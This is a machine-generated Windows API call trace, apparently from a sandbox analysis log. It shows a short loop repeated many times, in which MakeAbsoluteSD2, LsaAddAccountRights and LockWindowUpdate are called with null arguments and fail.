	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.919] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.919] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.919] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.919] GetLastError () returned 0x57
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.920] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.920] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.920] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.920] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.921] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.921] GetLastError () returned 0x57
	[0048.921] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.922] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.922] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.922] GetLastError () returned 0x57
	[0048.923] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.923] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.923] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.923] GetLastError () returned 0x57
	[0048.923] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.923] GetLastError () returned 0x57
	[0048.923] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.923] GetLastError () returned 0x57
	[0048.924] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.924] GetLastError () returned 0x57
	[0048.924] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.924] GetLastError () returned 0x57
	[0048.924] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.924] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.924] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.924] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.925] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.925] GetLastError () returned 0x57
	[0048.925] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.926] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.926] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.926] GetLastError () returned 0x57
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.927] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.927] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.927] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.927] GetLastError () returned 0x57
	[0048.928] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.928] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.928] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.928] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.928] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.928] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.929] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.929] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.929] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.929] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.929] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.930] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.930] GetLastError () returned 0x57
	[0048.930] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.930] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.930] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.931] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.931] GetLastError () returned 0x57
	[0048.931] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.931] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.931] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.932] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.932] GetLastError () returned 0x57
	[0048.932] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.932] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.933] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
	[0048.933] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.933] GetLastError () returned 0x57
